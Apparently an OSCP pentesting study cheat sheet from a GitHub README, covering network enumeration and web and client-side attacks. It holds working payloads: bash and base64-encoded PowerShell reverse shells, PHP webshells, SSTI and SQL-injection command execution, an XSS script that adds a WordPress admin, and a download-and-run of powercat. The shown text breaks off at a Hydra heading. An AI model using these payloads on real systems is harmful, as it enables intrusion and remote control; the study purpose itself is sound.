{"id":22096146,"url":"https://github.com/blessedrebus/oscp-pentesting-cheatsheet","last_synced_at":"2026-01-27T13:01:28.175Z","repository":{"id":220243325,"uuid":"751104403","full_name":"BlessedRebuS/OSCP-Pentesting-Cheatsheet","owner":"BlessedRebuS","description":"A general purpose cheat sheet for pentesting and OSCP certification ","archived":false,"fork":false,"pushed_at":"2025-12-04T09:50:51.000Z","size":3379,"stargazers_count":223,"open_issues_count":0,"forks_count":48,"subscribers_count":5,"default_branch":"main","last_synced_at":"2025-12-07T17:36:43.960Z","etag":null,"topics":["oscp","oscp-cheatsheet","oscp-notes","oscp-tools","pentesting","security"],"latest_commit_sha":null,"homepage":"","language":null,"has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/BlessedRebuS.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null}},"created_at":"2024-01-31T23:47:29.000Z","updated_at":"2025-12-04T09:50:56.000Z","dependencies_parsed_at":"2024-02-01T02:50:13.032Z","dependency_job_id":"7d5416a2-3d7f-48c6-9f01-b5c86eb23658","html_url":"https://github.com/BlessedRebuS/OSCP-Pentesting-Cheatsheet","commit_stats":null,"previous_names":["blessedrebus/oscp-pentesting-cheatsheet"],"tags_count":0,"template":false,"template_full_name":null,"purl":"pkg:github/BlessedRebuS/OSCP-Pentesting-Cheatsheet","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/BlessedRebuS%2FOSCP-Pentesting-Cheatsheet","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/BlessedRebuS%2FOSCP-Pentesting-Cheatsheet/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/BlessedRebuS%2FOSCP-Pentesting-Cheatsheet/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/BlessedRebuS%2FOSCP-Pentesting-Cheatsheet/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/BlessedRebuS","download_url":"https://codeload.github.com/BlessedRebuS/OSCP-Pentesting-Cheatsheet/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/BlessedRebuS%2FOSCP-Pentesting-Cheatsheet/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":28813223,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-01-27T12:25:15.069Z","status":"ssl_error","status_checked_at":"2026-01-27T12:25:05.297Z","response_time":168,"last_error":"SSL_read: unexpected eof while reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["oscp","oscp-cheatsheet","oscp-notes","oscp-tools","pentesting","security"],"created_at":"2024-12-01T04:09:47.209Z","updated_at":"2026-01-27T13:01:28.166Z","avatar_url":"https://github.com/BlessedRebuS.png","language":null,"funding_links":[],"categories":[],"sub_categories":[],"readme":"# OSCP\nNotes and study guide for the OSCP certification.\n\n## Star History\n\n[![Star History Chart](https://api.star-history.com/svg?repos=BlessedRebuS/OSCP-Pentesting-Cheatsheet\u0026type=Date)](https://star-history.com/#BlessedRebuS/OSCP-Pentesting-Cheatsheet\u0026Date)\n\n# Exam changes\nEffective November 1, 2024, OffSec will replace the current OSCP exam with an updated version. The updated exam version will include the following changes:\n\n- Enhancements to the Active Directory portion of the exam\n- Removal of bonus points\n\nBeginning November 1, 2024, when learners pass the updated exam, they will earn both the OSCP and OSCP+ certification. The OSCP+ designation will differ from the existing OSCP certification in only one way–it will expire three (3) years from issuance. \n\n\u003cins\u003eThe commands and information in this cheatsheet will continue to be valid for the revised OSCP exam\u003c/ins\u003e\n\n# Enumeration\n## NMAP\nGenerates high amount of traffic in the scanned machine, so we must know this can be recognized by traffic analyzers or packet scanners. The more ports are open, the more traffic is generated. A scan of all 65535 ports will generate about 4MBs of traffic. A full TCP/UDP scan on all the ports for 254 hosts (eg: 192.168.1.0/24) can reach over 1GB of traffic over the time for the scanned machine. That for sure can be detected.\n\n### TCP SYN Scan\n```bash\nnmap -Ss \u003ctarget\u003e\n```\nSend **SYN** request to a machine, whitout handshake. In this way a **SYN-ACK** is sent back to the sender and we know the port is open. The requester at the end does not send the final ACK, resulting in less noise in the network. In this way less traffic and less steps are done in the scan process.\n\n### TCP Connect Scan\n```bash\nnmap \u003ctarget\u003e\n```\nPerforms a full TCP connection. This is the default method of NMAP. It takes longer because the handshake is completed.\n\n### UDP Scan\n```bash\nnmap -sU \u003ctarget\u003e\n```\nApart from port-specific protocols, like **SMTP** or others, it sends an **ICMP** (ICMP port unreachable method) packet to the receiver port and wait for response. Here (but not only here) **sudo** is required because the system access the raw socket in order to implement the IPv4 protocol in user space. This is because sending and receiving raw packets requires root access on a Unix or Mac system. On Windows, you will have to use an administrator account.\n\n### Network Sweeping\n```bash\nnmap -sn \u003ctarget-range\u003e\n```\nThe discovery sends the UDP requests, but also a TCP SYN packet to port 443 and a TCP ACK packet to port 80 and ICMP requests for the traditional [ping sweep](https://it.wikipedia.org/wiki/Ping_sweep). This is done for each host. For a specific sweep, it could be used a more effective scan with:\n```\nnmap -p \u003cPORT\u003e \u003ctarget\u003e\n```\n\n### Most common ports\n```bash\nnmap -sT \u003ctarget\u003e\n```\n\n### Traceroute\n```bash\nnmap -A \u003ctarget\u003e\n```\n\n### OS Fingerprint\n```bash\nnmap -O \u003ctarget\u003e\n```\nTry to guess the operating system behind the server, based on how the server is responding. This is effective because the TCP/IP stack is implemeted differently in the Operating Systems. The result fingreprint is then matched with a list of fingerprint of many OS. Adding **--osscan-guess** we get a guess of the OS.\n\n### Server Banners\n```bash\nnmap -sV \u003ctarget\u003e\n```\nIn order to have a better understanding of the service we can try to read the server fingerprint for that port. This increase the traffic for the scan.\n\n### [NMAP Scripting Engine](https://nmap.org/book/nse.html)\n```bash\nnmap -sV -sC --script=banner -p 80,443 \u003ctarget\u003e\n```\nWith the directive --script we can specify the script we want. With the -sC the \"default\" scripts are used. In this case we only want HTTP/HTTPS banners, so we scan only the 80 and 443 ports.\n\nIntegrates user created script for automated scanning. To read more about the script we are using we can run\n```bash\nnmap --script-help \u003cSCRIPT-NAME\u003e\n```\nThe list of script can be found at **/usr/share/nmap/scripts**.\nTo use a custom NMAP script (.nes script) we must download it first from Github and move it in the NMAP script folder. After we run `sudo nmap --script-updatedb` and we will use the script with \n```bash\nnmap -sV --script \"cve-script-name\" \u003ctarget\u003e\n```\n\n### LOLBin approach for NMAP on Windows\n```powershell\nTest-NetConnection -Port \u003cPORT\u003e \u003cHOST\u003e\n```\nWith some **powershell** scripting, the util **Test-NetConnection** can be used as a **NMAP** scan both for TCP and UDP.\n```powershell\n1..10000 | % {echo ((New-Object Net.Sockets.TcpClient).Connect(\"target-ip\", $_)) \"TCP port $_ is open\"} 2\u003e$null\n```\n\n## SMB \nServer Message Block is a protocol used in Microsoft systems to exhange file or messages.\nIt has been attacked over the years and this led to an implementation to a better software: **Netbios**. Netbios is a session layer protocol that lets computers in the same network communicate and listens on port TCP 139. SMB is on port TCP 445. NBT (Netbios over TCP is often required to run among SMB for compatibility). There are many useful tools to scan Netbios, like **NMAP** or **nbtscan**. The following scenario uses `-r` that indicates nbtscan to use port UDP 137, the Netbios Name service port.\n```bash\nsudo nbtscan -r \u003ctarget-range\u003e\n```\nTo scan for SMB shares it can be used the tool `enum4linux` and then the connection can be tested with\n```bash\nsmbclient -L //\u003cIP\u003e\n```\nWith -L for share listing and then\n```bash\nsmbclient //\u003cIP\u003e -U \u003cUSER\u003e\n```\nTo connect to a specific share (in this case without password protection)\n\nNMAP offers too many scripts for enumeration or information gathering on Windows Host with Netbios enabled (eg: `--script smb-os-discovery`).\nFrom Windows the smb connections can be tested with\n```powershell\nnet view \\\\\u003chost\u003e /all\n```\nWith `/all` we can list Administrators shares ending with `$`\n\nSMB can be exploited if the `signing is disabled`, with a [NTLM Relay attack](https://hackdefense.com/publications/het-belang-van-smb-signing/) we will cover in the next sections. Systems are susceptible to an NTLM relay attack because the recipient does not verify the content and origin of the message.\n\n## SMTP\nSimple Mail Transfer Protocol is a standard protocol for mail transmission. It can be enumerated on port 25 with netcat.\nWe can ask for known users or bruteforce the server for gaining information.\n```bash\nnc -nv \u003ctarget\u003e 25\n\u003e VRFY username\n...\n\u003e EXPN username\n```\nWith `VRFY` (verify) we ask to the server if the username is present and with `EXPN` (expand) if which mailing lists the user is subscribed to.\nOn a Windows system we can use\n```powershell\nTest-NetConnection -Port 25 \u003ctarget\u003e\n```\nOr `telnet`.\n\n### SWAKS\nSwaks is a good tool for interacting with SMTP servers. It offers also an easy way to attach files. This is a good alternative to netcat for email sending.\n```bash\nswaks --to receiver@mail.com --from sender@mail.com --auth LOGIN --auth-user sender@mail.com --header-X-Test \"Header\" --server \u003cTARGET-IP\u003e --attach file.txt\n```\n\n## SNMP\nSimple Network Management Protocol or SNMP is a UDP based protocol, implemented at the beginning in not a very safe way. It has a database (MIB) with information related to network. The default SNMP port is 161 UDP. Until the third version of this protocol, SNMPv3 this protocol was poorly secured.\nThere are many tools to use here because SNMP can tell us many things about an organization, based on the response of the server. We can use `onesixtyone` for basic bruteforce and enumeration and `snmpwalk` to access data in MIB database.\nThe “SNMP community string” is like a user ID or password that allows access to a router's or other device's statistics.\nSNMP community strings are used only by devices which support the SNMPv1 and SNMPv2c protocol. SNMPv3 uses username/password authentication, along with an encryption key.\nBy convention, most SNMPv1-v2c equipment ships from the factory with a read-only community string set to “public”. It is standard practice for network managers to change all the community strings to customized values in the device setup.\n\n```bash\nsnmpwalk -c public -v1 -t 5 \u003ctarget\u003e\n```\nIn this way we enumerate all the MIB tree of a SNMPv1 version with a timeout of 5 seconds, on the target IP.\n```\n# MIB Value        Microsoft Windows SNMP parameters\n1.3.6.1.2.1.25.1.6.0         System Processes\n1.3.6.1.2.1.25.4.2.1.2         Running Programs\n1.3.6.1.2.1.25.4.2.1.4         Processes Path\n1.3.6.1.2.1.25.2.3.1.4         Storage Units\n1.3.6.1.2.1.25.6.3.1.2         Software Name\n1.3.6.1.4.1.77.1.2.25         User Accounts\n1.3.6.1.2.1.6.13.1.3         TCP Local Ports\n```\n\nTo search deeaper use the extend functionality of SNMP. As suggested in [HackTricks](https://book.hacktricks.xyz/network-services-pentesting/pentesting-snmp/snmp-rce)\n\n```bash\napt-get install snmp-mibs-downloader\nsnmpwalk -v2c -c public \u003cIP\u003e NET-SNMP-EXTEND-MIB::nsExtendOutputFull\n```\n\n# Web Application Pentesting\nA useful MindMap to follow as guideline for a Web Pentesting is the following,  (credit to [ethanlacerenza](https://github.com/ethanlacerenza?tab=repositories))\n\n\u003cp align=\"center\"\u003e\n  \u003cimg src=\"img/Web Information Gathering Mindmap.png\" /\u003e\n\u003c/p\u003e\n\nWeb application penetration testing is the practice of simulating attacks on a system in an attempt to gain access to sensitive data, with the purpose of determining whether a system is secure. These attacks are performed either internally or externally on a system, and they help provide information about the target system, identify vulnerabilities within them, and uncover exploits that could actually compromise the system. It is an essential health check of a system that informs testers whether remediation and security measures are needed. \u003c!-- https://www.synopsys.com/glossary/what-is-web-application-penetration-testing.html --\u003e \n\nWith NMAP we can get the **fingerprint** of a webserver.\n```bash\nsudo nmap -p 443,80 --script=http-enum \u003ctarget\u003e\n```\nAnd can discover most popuar directories open on the server.\n\n## Wordpress enumeration\nWe can enumerate WordPress pages and their plugins and themes with [wpscan](https://github.com/wpscanteam/wpscan). The following bash line will instruct wpscan to enumerate plugins in aggressive mode and print the output on a file\n\n```bash\nwpscan --url https://\u003cTARGET\u003e --enumerate p --plugins-detection aggressive -o dir/file.txt\n```\n\n## Web Technology\nTo perform a web tecnology enumeration, and to know for example which service the web server is running, we can use [WhatWeb](https://github.com/urbanadventurer/WhatWeb)\n\n```bash\nwhatweb \u003cURL\u003e\n```\n\n## Gobuster\nThis is a tool that can discover hidden path in webservers. It uses wordlist to bruteforce directories, files or can perform a **Fuzzing** / **DNS** enumeration.\n```bash\ngobuster dir -u \u003ctarget\u003e -w /path/to/wordlist -t 10\n```\nIn this case Gobuster is run with 10 threads with a directory bruteforce attack on the given target. Gobuster can also bruteforce APIs path\n```bash\ngobuster dir -u \u003ctarget\u003e -w /path/to/wordlist -p /path/to/api-pattern\n```\nWhere the file `/path/to/api-pattern` is something like that\n```txt\n{GOBUSTER}/v1\n{GOBUSTER}v2\n```\nMany times custom or not-standard APIs are the most vulnerable. Exploiting a login API, for example, we could log in into a web server with admin privileges.\n\nWith `-x` we can specify file extensions\n\n```bash\ngobuster dir -u \u003ctarget\u003e -w /path/to/wordlist -x php js aspx md txt jpg png\n```\n\n## Burp Suite\nIs platform for Web App testing. It can works as a proxy, repeater, intruder, we can use it even for bruteforces attacks and many other things. We use it as proxy that intercepts requests, analyzes it and send them back to the server. The community edition can be used for free.\nhttps://portswigger.net/burp. Burp Suite can be configured as a proxy and intercept traffic sent by a Firefox or Chrome browser. Requests can be viewed, modified, dropped etc...\n\n# XSS\nCross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted websites. XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user within the output it generates without validating or encoding it.\n\nAn attacker can use XSS to send a malicious script to an unsuspecting user. The end user’s browser has no way to know that the script should not be trusted, and will execute the script. Because it thinks the script came from a trusted source, the malicious script can access any cookies, session tokens, or other sensitive information retained by the browser and used with that site. These scripts can even rewrite the content of the HTML page. \u003c!-- https://owasp.org/www-community/attacks/xss/ --\u003e\nXSS are divided in two types: **stored** that remains persistent on the webserver and **reflected** that are usually crafted to be inserted in a link and run-time executed .\nThe most common string to test an XSS vulnerability is\n```javascript\n\u003cscript\u003ealert(1)\u003c/script\u003e\n```\nIn a case when our payload is stored actively on the server, for example if we inject an XSS inside the User Agent, the web administrator of the page could see the XSS (the popup) in his administration page (eg. Wordpress Panel). If the XSS is for example a redirect or some dangerous arbitrary code, many bad things can be done.\n\n## Cookies\nHTTP cookies, or internet cookies, are built specifically for web browsers to track, personalize and save information about each user’s session. A “session” is the word used to define the amount of time you spend on a site. Cookies are created to identify you when you visit a new website. The web server — which stores the website’s data — sends a short stream of identifying information to your web browser in the form of cookies. This identifying data (known sometimes as “browser cookies”) is processed and read by “name-value” pairs. These pairs tell the cookies where to be sent and what data to recall.  \u003c!-- https://www.kaspersky.com/resource-center/definitions/cookies --\u003e\nCookies can be found under **Storage** tab in the Browser inspect settings. Sessions cookies with **secure** flag can be sent only over HTTPS. The HttpOnly tells the browser to deny JavaScript access to cookies.\n\n## Wordpress Nonce\nWordPress nonces protect the platform against various malicious attacks, particularly cross-site request forgery (CSRF). This cyber attack exploits WordPress security vulnerabilities to trick users into submitting unwanted requests, from changing users’ login details to deleting user accounts. In the following way we can get a Nonce for a dinamically created user.\n```javascript\nvar ajaxRequest = new XMLHttpRequest();\nvar requestURL = \"/wp-admin/user-new.php\";\nvar nonceRegex = /ser\" value=\"([^\"]*?)\"/g;\najaxRequest.open(\"GET\", requestURL, false);\najaxRequest.send();\nvar nonceMatch = nonceRegex.exec(ajaxRequest.responseText);\nvar nonce = nonceMatch[1];\n```\n\nAnd we can create the new user with\n\n```javascript\nvar params = \"action=createuser\u0026_wpnonce_create-user=\"+nonce+\"\u0026user_login=attacker\u0026email=attacker@offsec.com\u0026pass1=attackerpass\u0026pass2=attackerpass\u0026role=administrator\";\najaxRequest = new XMLHttpRequest();\najaxRequest.open(\"POST\", requestURL, true);\najaxRequest.setRequestHeader(\"Content-Type\", \"application/x-www-form-urlencoded\");\najaxRequest.send(params);\n```\n\nWe can then minify the attack with something like [JSCompress](https://jscompress.com/) and encode it in UTF-16 integer with [Cyberchef](https://gchq.github.io/CyberChef/) or charCodeAt JS function.\nAt this point we only need to find a way to inject it in the Server in a persistent way (XSS Stored). This can be done if the PHP part of the server doesn't sanitize input in the User-Agent or other parameters of the requerst headers. Once we got the admin access we can craft or use a WebShell plugin to enumerate and exploit the system. We can use something like https://github.com/p0dalirius/Wordpress-webshell-plugin.\n\n## SSTI: Server Side Template Injection\nAttackers use the server-side template injection technique to directly insert user input into templates, allowing them to introduce arbitrary directives that alter the template engine’s behavior. It can allow threat actors to gain full control of a targeted server. An common example of SSTI is **Flask/Jinja2** SSTI. A good cheatsheet for this type of vulnerability is [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md?ref=sec.stealthcopter.com). A Jinja2 SSTI that enables RCE on the server payload is the following. To gain a reverse shell, consider to base64 encode and then decode the command.\n\n```python\n{{ cycler.__init__.__globals__.os.popen('\u003cCMD\u003e').read() }}\n```\n\n#  Path Traversal and Local File Inclusion\nA path traversal attack (also known as directory traversal) aims to access files and directories that are stored outside the web root folder. By manipulating variables that reference files with “dot-dot-slash (../)” sequences and its variations or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system including application source code or configuration and critical system files. It should be noted that access to files is limited by system operational access control (such as in the case of locked or in-use files on the Microsoft Windows operating system). \u003c!-- https://owasp.org/www-community/attacks/Path_Traversal --\u003e\nLocal file inclusion (also known as LFI) is the process of including files, that are already locally present on the server, through the exploiting of vulnerable inclusion procedures implemented in the application. This vulnerability occurs, for example, when a page receives, as input, the path to the file that has to be included and this input is not properly sanitized, allowing directory traversal characters (such as dot-dot-slash) to be injected. Although most examples point to vulnerable PHP scripts, we should keep in mind that it is also common in other technologies such as JSP, ASP and others. \u003c!-- https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.1-Testing_for_Local_File_Inclusion --\u003e\n\nExploiting a Path Traversal and a LFI in a server, could led us to open shell using a **simple reverse shell bash oneliner**, if we poison some part of the system, for example the Apache Logs in a Linux system, eg: [Apache Log Poisoning through LFI](https://www.hackingarticles.in/apache-log-poisoning-through-lfi/).\n```bash\nbash -i \u003e\u0026 /dev/tcp/\u003cIP\u003e/4000 0\u003e\u00261\n```\n\n# Remote File Inclusion\nRemote File Inclusion or RFI is done the same way of LFI, but we have to be the source of the malicious script. In the case of a PHP webserver, It could be\n```php\n\u003c?php\nif(isset($_REQUEST['cmd'])){\n        echo \"\u003cpre\u003e\";\n        $cmd = ($_REQUEST['cmd']);\n        system($cmd);\n        echo \"\u003c/pre\u003e\";\n        die;\n}\n?\u003e\n```\nAnd we can call the script with an inclusion of it, eg: `http://webserver.com/index.php?page=http://\u003cattacker-ip\u003e/malicious-file.php` . On the attacker side we have first to launch a webserver with the malicious file with\n\n```bash\npython3 -m http.server 80\n```\n\n# File Uploads\nFor more examples, visit https://pentestmonkey.net/tools/web-shells/php-reverse-shell.\nGoing on, with File Upload vulnerabilities we can do a lot of things. A part from uploading a reverse-shell.php, we can also upload in specific places of the filesystem, dangerous file that could replace original ones. For example, replacing the /etc/passwd and the /etc/shadow file in a system, we could gain permission to log in with a \"pre crafted\" user.\nThis can be done exploiting a File Upload with something like `../../../../../../../../etc/passwd` and `../../../../../../../../etc/shadow` if the server doesn't sanitize file names.\n\n# Command Injection\nCommand injection is an attack in which the goal is execution of arbitrary commands on the host operating system via a vulnerable application. Command injection attacks are possible when an application passes unsafe user supplied data (forms, cookies, HTTP headers etc.) to a system shell. In this attack, the attacker-supplied operating system commands are usually executed with the privileges of the vulnerable application. Command injection attacks are possible largely due to insufficient input validation.\n\nThis attack differs from Code Injection, in that code injection allows the attacker to add their own code that is then executed by the application. In Command Injection, the attacker extends the default functionality of the application, which execute system commands, without the necessity of injecting code. \u003c!-- https://owasp.org/www-community/attacks/Command_Injection --\u003e\nFor example if a web server executes a command on the operating system below and doesn't sanitize the input, could let the attacker craft a payload with some special characters like `;` or `\u0026\u0026` that are used to concatenate commands in a sytem. A pratical example could be a server that arguments for a known command, eg: ls\n```bash\nhttp://\u003ctarget-url\u003e/pages/command=cmd=ls;id\n```\nIn that case the webserver executes `ls` among with the `id` command.\n\n# SQL Vulerabilities\n## SQL Injection\nSQL Injections are the most common form of injections because SQL databases are very popular in dynamic web applications. This vulnerability allows an attacker to tamper existing SQL queries performed by the web application. Depending on the queries, the attacker might be able to access, modify or even destroy data from the database.\nSince databases are commonly used to store private data, such as authentication information, personal user data and site content, if an attacker gains access to it, the consequences are typically very severe, ranging from defacement of the web application to users data leakage or loss, or even full control of the web application or database server. \u003c!-- https://probely.com/vulnerabilities/sql-injection --\u003e\n\n## SQL Union Based Attacks\nWhen an application is vulnerable to SQL injection, and the results of the query are returned within the application's responses, you can use the UNION keyword to retrieve data from other tables within the database. This is commonly known as a SQL injection UNION attack. \u003c!-- https://portswigger.net/web-security/sql-injection/union-attacks --\u003e\n\n## Blind SQL Injection\nBlind SQL (Structured Query Language) injection is a type of SQL Injection attack that asks the database true or false questions and determines the answer based on the applications response. This attack is often used when the web application is configured to show generic error messages, but has not mitigated the code that is vulnerable to SQL injection.\nWhen an attacker exploits SQL injection, sometimes the web application displays error messages from the database complaining that the SQL Query’s syntax is incorrect. Blind SQL injection is nearly identical to normal SQL Injection, the only difference being the way the data is retrieved from the database. When the database does not output data to the web page, an attacker is forced to steal data by asking the database a series of true or false questions. This makes exploiting the SQL Injection vulnerability more difficult, but not impossible. \u003c!-- https://owasp.org/www-community/attacks/Blind_SQL_Injection --\u003e\n\nThis is a SQL Injection cheat sheet for testing https://github.com/payloadbox/sql-injection-payload-list.\n\n## MSSQL Code Execution\nIn MSSQL thanks to the keyword execute, we can execute arbitrary command on the operating system below. To do that first we have to enable command execution inside the Database with\n\n```sql\nEXECUTE sp_configure 'show advanced options', 1;\nRECONFIGURE;\nEXECUTE sp_configure 'xp_cmdshell', 1;\nRECONFIGURE;\n```\n\nThen execute commands with\n\n```sql\nEXECUTE xp_cmdshell 'whoami'\n```\nPutting all togheter, we can have very fancy injections adding multiple tools.\n\n### impacket-mssqlclient\nWe can use **impacket-mssqlclient** with **-windows-auth** as login method in the **MSSQL** Database\n\n```bash\nproxychains python3 /home/kali/.local/bin/mssqlclient.py -port 1433 domain.com/user:password@\u003cIP\u003e -windows-auth\n```\n\n## Blind Reverse Shell - SQL Injection \nThe following payload has been crafted with https://www.revshells.com/\n```sql\n'; EXECUTE xp_cmdshell 'powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA5ADIALgAxADYAOAAuADQANQAuADIAMAA4ACIALAA0ADQANAA0ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA=='; --\n```\n\n## Uploading a PHP Backdoor from SQL\nIn other database scenarios we can abuse the `SELECT INTO_OUTFILE` statement and we can try to upload something malicious in the webserver. We must have write permission in the folder we will write the file into.\n```sql\n' UNION SELECT \"\u003c?php system($_GET['cmd']);?\u003e\", null, null, null, null INTO OUTFILE \"/var/www/html/tmp/webshell.php\" -- //\n```\nNext, with a simple GET request like `/tmp/cmd=whoami` we can execute commands on the webserver.\n\n\n## SQLMAP\nFinally, we can use something that automates the SQL exploits, like **sqlmap**. With this tool we can have automatic scan and checks for any type of vulnerability on the webserver using SQL and It can also automatically upload **reverse shells** to the server. For more information check directly the project documentation https://github.com/sqlmapproject/sqlmap. A basic usage of sqlmap could be the following code\n\n```bash\nsqlmap -u 'http://\u003ctarget\u003e/page.php?user=test' -p user\n```\n\n## Client Side Attacks\nA Client Side Attack is an attack executed on client side. It could be in the victim's browser or in the victim's computer through malicious executables. This is usually a two-steps attack. In the first step usually we deploy the payload to the victim infrastructure using social engineer and OSINT. After the victim double-clicked the malicious file we sent or opened the malicious link, we can execute arbitrary code for any sort of action we want to do. The aim of Client Side Attacks is to gain an initial foothold in a non-routable internal network.\n\n## Exploiting Windows Users with VBA Macros\nWe can craft a malicious Word file is very easy, Microsoft offers a very good guide to do it :) https://support.microsoft.com/it-it/office/creare-o-eseguire-una-macro-c6b99036-905c-49a6-818a-dfb98b7c3c9c. Inside the macro section we can insert a malicious reverse shell using https://github.com/glowbase/macro_reverse_shell that is a useful tool to craft fixed-size strings supported by Microsoft Macros.\nOn client side we open the reverse shell with \n```bash\nnc -lvp \u003cPORT\u003e\n```\n\n## Exploiting Windows Users with WebDav mounts\nWith Windows libraries we can craft client-side attacks on Windows. We can serve this configuration for a WebDav mount on the victim's computer. First we start or WebDav listener in the Kali machine with\n\n```bash\nwsgidav --host=0.0.0.0 --port=80 --auth=anonymous --root .\n```\n\n We can craft the following `config.Library-ms` file.\n\n```xml\n\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\n\u003clibraryDescription xmlns=\"http://schemas.microsoft.com/windows/2009/library\"\u003e\n\u003cname\u003e@windows.storage.dll,-34582\u003c/name\u003e\n\u003cversion\u003e6\u003c/version\u003e\n\u003cisLibraryPinned\u003etrue\u003c/isLibraryPinned\u003e\n\u003ciconReference\u003eimageres.dll,-1003\u003c/iconReference\u003e\n\u003ctemplateInfo\u003e\n\u003cfolderType\u003e{7d49d726-3c21-4f05-99aa-fdc2c9474656}\u003c/folderType\u003e\n\u003c/templateInfo\u003e\n\u003csearchConnectorDescriptionList\u003e\n\u003csearchConnectorDescription\u003e\n\u003cisDefaultSaveLocation\u003etrue\u003c/isDefaultSaveLocation\u003e\n\u003cisSupported\u003efalse\u003c/isSupported\u003e\n\u003csimpleLocation\u003e\n\u003curl\u003ehttp://\u003cATTACKER-IP\u003e\u003c/url\u003e\n\u003c/simpleLocation\u003e\n\u003c/searchConnectorDescription\u003e\n\u003c/searchConnectorDescriptionList\u003e\n\u003c/libraryDescription\u003e\n```\n\nThen we can upload to the WebDAV a malicious **Windows Shortcut** file (lnk file) that points to the attacker malicious ip that servers a malicious exe for a reverseshell, like [powercat](https://github.com/besimorhino/powercat). In this section, a simple reverse shell won't work, but we have to use some webserver (like python webserver) with the executable available. Something like that could work for Windows 10/11\n```powershell\npowershell.exe -c \"IEX(New-Object System.Net.WebClient).DownloadString('http://ATTACKER-IP:WEBPORT/powercat.ps1');\npowercat -c ATTACKER-IP-NETCAT -p NETCAT-PORT -e powershell\"\n```\n\nWe copy inside the WebDAV the the link of the powershell command previously created and also the **config-Library.ms** file that we will send to the victim as the payload (via MAIL, SMB, etc...).\n\nwith our netcat listener on the attacker side.\n```bash\nnc -lvp NETCAT-PORT\n```\n# Finding Exploits\n## Resources\nMainly there are two locations where you can find exploits. **Make sure you run exploits ONLY AFTER have read the code.**\n```html\nhttps://www.exploit-db.com/\nhttps://www.metasploit.com/\n```\nOr inside the Linux installation of NMAP at `/usr/share/nmap/scripts`.\n\n# Password Attacks\nWe can bruteforce logins with Password Attack metodology. This type of attacks uses a dictionary of usernames/passwords and tries to guess the credentials in the applications. It could be HTTPS, SSH, RDP etc...\n\n## Hydra\nA very good tool for password bruteforcing is hydra.\n\n### 